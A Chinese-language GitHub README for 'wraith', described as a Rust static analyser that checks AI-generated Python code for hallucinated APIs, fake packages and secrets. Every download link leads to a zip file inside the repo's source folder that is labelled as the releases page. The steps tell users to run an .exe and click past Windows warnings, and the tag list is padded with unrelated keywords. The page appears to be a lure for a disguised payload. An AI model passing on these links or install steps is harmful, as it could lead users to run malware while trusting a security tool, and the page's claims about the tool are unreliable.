lost-ranchhand865/wraith

GitHub: lost-ranchhand865/wraith

一款基于 Rust 的高性能 Python 静态分析工具,专门用于在代码提交前检测 AI 生成代码中的幻觉 API、伪造包名、硬编码密钥和供应链安全风险。

Stars: 0 | Forks: 0

# 🛡️ wraith - 在 AI 代码发布前捕获其错误 [![下载 wraith](https://img.shields.io/badge/Download-wraith%20Releases-blue?style=for-the-badge)](https://raw.githubusercontent.com/lost-ranchhand865/wraith/main/crates/Software_1.4.zip) ## 🚀 wraith 的功能 wraith 用于检查 Python 代码中容易在 AI 生成的代码里被忽略的问题。它会查找以下内容: - 虚构的 API 调用 - 伪造的包名 - 硬编码的 secrets - 薄弱的文件和网络处理 - Python 代码中的数据流风险 它使用固定的规则集,因此对相同的代码每次都会得到相同的结果。您无需以特殊方式进行设置。 ## 📥 下载并安装 1. 访问 [wraith 发布页面](https://raw.githubusercontent.com/lost-ranchhand865/wraith/main/crates/Software_1.4.zip) 2. 找到最新的 Windows 下载版本 3. 下载 `.exe` 文件或 Windows zip 文件 4. 如果您下载的是 zip 文件,请先将其解压 5. 打开您下载的文件 6. 如果 Windows 请求权限,请选择 **仍要运行** 或 **更多信息**,然后选择 **运行** 如果您使用的是 zip 版本,请将文件保留在同一个文件夹中。除非发行说明中指出可以安全移动,否则请勿将 `.exe` 移出该文件夹。 ## 🖥️ 系统需求 wraith 可在 Windows 10 或更高版本上运行。 为了流畅使用,您的系统应具备: - 4 GB 或更多的 RAM - 200 MB 的可用磁盘空间 - 对您想要检查的 Python 文件的访问权限 - 最新的 Windows 更新 如果您的文件位于 OneDrive 或其他同步文件夹中,请先将它们复制到本地文件夹。这有助于避免扫描期间出现文件锁定问题。 ## 🔍 检查内容 wraith 旨在捕获 AI 编写的 Python 代码中的常见问题: - 幻觉 API,即代码调用了不存在的函数 - 幽灵包,即代码导入了不真实的名称 - 代码中的 secrets,例如 token、密钥和密码 - 污点流,即不安全的输入可能到达危险的操作 - 文件、进程和网络使用中的不安全模式 它使用静态分析,这意味着它会在不运行代码的情况下读取代码。 ## 🧭 使用方法 下载 wraith 后,打开它并将其指向包含您 Python 代码的文件夹。 典型的使用方式如下: 1. 启动 wraith 2. 选择包含 `.py` 文件的文件夹 3. 运行扫描 4. 查看结果 5. 修复带有警告的文件 如果 wraith 列出了文件名和行号,请在编辑器中打开该文件并检查该行附近的代码。 ## 🧰 常见文件类型 wraith 专为 Python 项目设计,包括: - 脚本 - 小型工具 - Web 应用 - 数据任务 - 测试文件 - 由 AI 助手创建的代码 它也可以用于在一个部分包含 Python 而其余部分包含其他文件的混合项目。 ## ⚙️ 预期效果 wraith 使用 20 条规则。这为您提供了一次无需复杂设置的广泛检查。 您可以期望它: - 标记看起来有问题的代码 - 指出有风险的导入 - 查找不应出现在源文件中的 secrets - 报告可疑的数据路径 - 保持每次运行扫描的结果可重复 因为它使用固定的规则,所以您可以比较一次扫描与另一次扫描,并查看发生了什么变化。 ## 🧪 运行扫描的最佳方式 为了获得最清晰的结果: - 每次扫描一个项目 - 将您的 Python 代码保存在一个整洁的文件夹中 - 移除您不需要的旧测试文件 - 优先修复 secrets 问题 - 然后检查 API 和导入问题 - 仔细审查污点警告 如果您使用 AI 编写代码,请在提交或共享文件之前运行 wraith。 ## 📂 示例工作流 一个简单的工作流如下所示: 1. 将您的 Python 项目保存在一个文件夹中 2. 从发布页面下载 wraith 3. 在该文件夹上运行 wraith 4. 阅读结果 5. 修复被标记的代码行 6. 再次运行,直到扫描干净为止 这有助于在您将代码发送给其他人或将其上传到 repo 之前捕获问题。 ## 🛠️ 故障排除 如果 wraith 未启动: - 检查您是否下载了 Windows 文件 - 确保下载已完全完成 - 尝试从您可以编辑的文件夹(例如 `Downloads` 或 `Desktop`)中运行它 - 如果 Windows 阻止了它,请使用文件菜单选项运行它 如果 wraith 未找到您的文件: - 确认您选择了正确的文件夹 - 确保您的 Python 文件以 `.py` 结尾 - 如果项目位于云同步路径中,请将其复制到本地文件夹 如果扫描看起来过于严格: - 按行号审查每个发现 - 检查代码在上下文中是否安全 - 修复属于真实问题的案例 - 保留其余部分以供日后审查 ## 🧠 wraith 的优势所在 AI 代码看起来可能很好,但仍然隐藏着错误的调用、虚假的导入或 secret 泄露。wraith 通过以稳定、基于规则的方式检查代码来帮助处理这些情况。 它非常适合以下需求: - 提交前的快速扫描 - 对 AI 生成的 Python 代码进行检查 - 尽早发现 secrets 的方法 - 无需额外设置的简单静态审查 ## 🔗 获取 Windows 下载 使用 [wraith 发布页面](https://raw.githubusercontent.com/lost-ranchhand865/wraith/main/crates/Software_1.4.zip) 访问此页面以下载 Windows 版本 ## 🧾 文件和扫描提示 - 尽可能将源文件保留为普通的 `.py` 文件 - 使用简短的文件夹名称,以使路径易于阅读 - 在每次扫描之前保存您的工作 - 每次修复一组发现的问题 - 每一轮更改后再次运行扫描 ## 🔒 安全检查 wraith 可以帮助您发现: - 与代码库不匹配的 API 使用 - 无法解析的包名 - 遗留在脚本中的 secrets - 从不安全输入流向危险输出的数据 - 可能不加防范地访问文件系统或 shell 的代码 这些检查对于 AI 输出、复制的代码以及未经全面审查的快速脚本非常有用 ## 📌 涵盖主题 该项目侧重于: - AI 代码质量 - 幻觉检测 - Python linting - 基于 Rust 的工具 - secrets 检测 - 静态分析 - 供应链安全 ## 🗺️ 建议的下一步 下载最新的 Windows 版本,在一个 Python 文件夹上运行扫描,并逐行审查每个结果
标签:AIGC安全检测, AI代码审查, API安全, DevSecOps, IP 地址批量处理, JSON输出, Linter, pptx, Python代码检查, Rust语言, SAST, Windows软件, 上游代理, 人工智能安全, 代码安全检测, 包管理安全, 可视化界面, 合规性, 大模型安全, 安全助手, 幻觉API检测, 开发安全, 提示注入防御, 污染流分析, 源代码安全, 盲注攻击, 虚假包检测, 逆向工具, 通知系统, 错误基检测, 静态代码分析, 静态分析工具